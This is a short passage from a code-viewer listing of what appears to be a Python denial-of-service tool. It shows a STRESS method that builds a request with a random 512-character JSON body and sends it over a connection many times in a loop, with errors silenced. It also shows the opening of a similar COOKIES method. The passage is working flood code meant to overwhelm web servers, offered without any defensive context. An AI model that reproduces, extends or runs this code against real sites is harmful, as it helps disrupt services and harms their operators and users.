(self)
| 992 | Tools.safe_close(s) |
| 993 | |
| 994 | def STRESS(self) -> None: |
| 995 | payload: bytes = self.generate_payload( |
| 996 | ("Content-Length: 524\r\n" |
| 997 | "X-Requested-With: XMLHttpRequest\r\n" |
| 998 | "Content-Type: application/json\r\n\r\n" |
| 999 | '{"data": %s}') % ProxyTools.Random.rand_str(512))[:-2] |
| 1000 | s = None |
| 1001 | with suppress(Exception), self.open_connection() as s: |
| 1002 | for _ in range(self._rpc): |
| 1003 | Tools.send(s, payload) |
| 1004 | Tools.safe_close(s) |
| 1005 | |
| 1006 | def COOKIES(self) -> None: |
| 1007 | payload: bytes = self.generate_payload( |
nothing calls this directly
no test coverage detected